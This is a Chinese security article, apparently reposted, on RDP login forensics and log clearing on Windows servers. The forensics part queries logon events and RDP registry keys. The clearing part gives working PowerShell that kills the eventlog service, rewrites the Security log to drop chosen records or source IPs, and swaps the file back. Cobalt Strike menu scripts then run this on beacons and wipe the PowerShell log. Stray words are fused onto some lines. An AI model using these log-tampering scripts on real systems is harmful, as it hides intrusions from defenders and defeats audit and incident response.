RDP登陸日誌取證和清除

點擊上方「藍字」關注公衆號獲取最新信息!php

本文做者:whoam1@奇安信html

首發地址:https://paper.seebug.org/1043nginx


這篇文章由Cream朋友whoam1@奇安信受權發佈,在此表示感謝,關於其餘方面的文章或者技術能夠瀏覽whoam1的博客!後期咱們也會持續更新WEB安全系列課程(從小白到「入獄」),0.0,但願多多關注支持。公衆號能夠搜索:貝塔安全實驗室,謝謝,Cream獻上!git



目錄:

一:取證github

  • 1.1 登陸成功web

  • 1.1.1 Security 線上分析sql

  • 1.1.2 Security 離線分析shell

  • 1.1.3 TerminalServices/Operationalwindows

  • 1.2 登陸失敗瀏覽器

  • 1.3 客戶端主機名

  • 1.4 遠程server

  • 1.5 日誌量最大限制

  • 1.6 RDP開放端口

  • 1.7 掛載驅動器監控

二:清除

  • 2.1 EventRecordID單條刪除

  • 2.2 IpAddress批量刪除

  • 2.3 powershell示例

三:腳本化

  • 3.1 取證示例

  • 3.2 清除示例

參考



本文以server08爲例,示例腳本以powershell爲主
適用人羣: 運維、安全


RDP登陸方式:

  • 爆破登陸:屢次登陸失敗&登陸成功

  • 管理員登陸:帳戶密碼、憑據

  • console模式登陸


使用工具:

  • wevtutil

  • LogParser

  • powershell

  • regedit



一: 取證
取證關鍵點:
  • 登陸IP

  • 登陸ip端口

  • 登陸時間

  • 登陸客戶端主機名

  • 登陸後操做日誌

  • 服務端敏感文件

  • 服務端登陸的服務器ip

  • 服務端瀏覽器記錄


1.1 登陸成功

EventID=4624,從安全日誌中獲取登陸成功的客戶端登陸ip、登陸源端口、登陸時間等信息


1.1.1 Security 線上分析

  • LogParser

LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8'|'as LogonType, EXTRACT_TOKEN(Strings, 18'|'AS SourceIP, EXTRACT_TOKEN(Strings, 19'|'AS Sport INTO RdpLoginSuccess.csv FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil
wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[(Data[@Name='LogonType']='10')]]"
  • wevtutil + powershell

wevtutil epl Security ./Sec.evtx
function WinSuccEvent
{
    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"\Sec.evtx"
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"
    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe  $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing']  and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    function OneEventToDict {
        Param (
            $event
        )
        $ret = @{
            "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
            "EventRecordID" = $event.System.EventRecordID
            "EventID" = $event.System.EventID
        }
        $data=$event.EventData.Data
        for ($i=0; $i -lt $data.Count; $i++){
            $ret.Add($data[$i].name, $data[$i].'#text')
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        $results.Add((New-Object PSObject -Property $datas))|out-null
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
        $results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }
}


1.1.2 Security 離線分析

導出安全日誌爲:Security.evtx

  • LogParser
LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date, EXTRACT_TOKEN(Strings, 8'|'as LogonType, EXTRACT_TOKEN(Strings, 18'|'AS SourceIP ,EXTRACT_TOKEN(Strings, 19'|'AS Sport INTO RdpLoginSuccess.csv FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND LogonType = '10' ORDER BY timegenerated DESC" -o:CSV
  • wevtutil

wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]"  /e:root /f:xml


1.1.3 TerminalServices/Operational

  • RemoteConnectionManager - EventID=1149

wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1

過濾id:1149且僅顯示存在Param2數據

  
    
  
  
   
   
            
   
   
wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx
function TerminalServices {

    [CmdletBinding()]
    Param (
        [string]$csv,
        [string]$evtx = $pwd.Path+"./TerminalServices.evtx"   
    )

    $time=Get-Date -Format h:mm:ss
    $evtx=(Get-Item $evtx).fullname
    $outfile=(Get-Item $evtx).BaseName+".csv"

    $logsize=[int]((Get-Item $evtx).length/1MB)

    write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
    [xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml  /lf

    $xmlEvent=$xmldoc.root.Event

    write-host $xmlEvent.Count

    function OneEventToDict {
        Param (
            $event
        )
        Try {
            $CheckLoginStatus = $event.UserData.EventXML.Param2
            if ($CheckLoginStatus) {
                $ret = @{
                    "SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
                    "EventRecordID" = $event.System.EventRecordID
                    "EventID" = $event.System.EventID
                    "Param1" = $event.UserData.EventXML.Param1
                    "Param2" = $event.UserData.EventXML.Param2
                    "Param3" = $event.UserData.EventXML.Param3
                }
            }
        }
        Catch {
            continue
        }
        return $ret
    }

    filter Convert-DateTimeFormat
    {
      Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
      try {
        ([DateTime]$_).ToString($OutputFormat)
      } catch {}
    }

    $time=Get-Date -Format h:mm:ss
    write-host [+] $time Extract XML ... -ForegroundColor Green
    [System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
    for ($i=0; $i -lt $xmlEvent.Count; $i++){
        $event = $xmlEvent[$i]
        $datas = OneEventToDict $event
        try {
            $results.Add((New-Object PSObject -Property $datas))|out-null
        }
        catch {
            continue
        }
    }

    $time=Get-Date -Format h:mm:ss
    $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
    if($csv){
        write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
        $results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture  -Encoding Default -Force
    }

}

同理:

  • LocalSessionManager - EventID:24/25
wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx
  • ClientActiveXCore - EventID:1024

wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational ./ClientActiveXCore.evtx


1.2 登陸失敗

EventID=4625,分析語句同理登陸成功


1.3 客戶端主機名

註冊表HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME

powershell實現代碼以下:

function ClientHostName {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
                Write-Host "
[+] RegPath: "$RegPath$Server
                Write-Host "
[+] ClientHostName: "$ClientHostName
            }   
        }
        Catch {
            continue
        }
    }
}


1.4 遠程server

註冊表HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*

其中,保存憑據的單獨顯示

powershell實現代碼以下:
function RdpServer {
    $UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
    foreach($Name in $UserSID) {
        $RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
        Try {
            $Servers = dir $RegPath -Name -ErrorAction Stop
            foreach ($Server in $Servers) {
                $UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
                Write-Host "
[+] Server: "$Server" UserName: "$UserName
                $CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
                if($CertHash) {
                    Write-Host "
[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash 
                }
            }
        }
        Catch {
            continue
        }
        $RegPathDefault = "
Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
        Try {
            $RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
            foreach ($RegPathValue in $RegPathValues.Property ){
                write-host "
[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
            }
        }
        Catch {
            continue
        }
    }
}


1.5 日誌量最大限制

註冊表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security
function ChangeSecurityMaxSize {
    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
    $SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "Old Size: "+$SecurityRegValue
    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
    $SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
    write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}


1.6 RDP開放端口

查詢註冊表
    $RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
    $RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
    write-host $RDPportValue


1.7 掛載驅動器監控

參考github:DarkGuardian:https://github.com/FunnyWolf/DarkGuardian


二:清除

如下兩種方式根據修改註冊表實現

以powershell爲例:

須要修改註冊表
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog


2.1 EventRecordID單條刪除

單條日誌清除

wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[System[(EventRecordID!=6810)]]" /ow:true


2.2 IpAddress批量刪除

源ip清除

wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx /q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true


2.3 powershell示例

    [CmdletBinding()]
    Param (
        [string]$flagvalue,
        [string]$evtx = $pwd.Path
    )

    $SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"

    $SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
    $SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
    $SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")

    write-host $SecurityFileRegValueFileName

    # clear
    Try{
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
    }
    Catch {}

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag

    $EventlogSvchost = tasklist /svc | findstr "eventlog" 
    $EventlogMatch = $EventlogSvchost -match "(\d+)"
    $EventlogSvchostPID = $Matches[0]

    # Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

    write-host $EventlogSvchostPID

    taskkill /F /PID $EventlogSvchostPID

    Try{
        Remove-Item $SecurityFileRegValueFileName -recurse
    }
    Catch {}
    Try{
        Remove-Item $SecurityFileRegValueNewFlag -recurse
    }
    Catch {}

    ren $SecurityFileRegValueNew $SecurityFileRegValueFileName

    Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName

    net start eventlog

同理批量刪除以下:

    # clear
    Try {
        wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
    }
    Catch {}


三:腳本化

結合Cobalt Strike可實現自動化,具體可參考cna腳本編寫:https://www.cobaltstrike.com/aggressor-script/index.html


3.1 取證示例

     item "RdpSuccessEvent" {
          local('$bid');
          foreach $bid ($1){
              blog($1, "Get RDP Success Event (4624).");
              bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
              bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
              bpowerpick($bid,"WinSuccEvent");
              #bpowershell($bid,"WinSuccEvent");
              brm($1,"Sec.evtx");
              bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
          }
     }


3.2 清除示例

     item "IDEventClear" {
          prompt_text("Input Clear EventRecordID","1024",lambda({
              blog(@ids,"Delete Security Event where EventRecordID = $1");
              bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
              bpowerpick(@ids,"IDEventClear $1");
              bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
          },@ids => $1));
     }


四:參考


本文分享自微信公衆號 - 貝塔安全實驗室(BetaSecLab)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索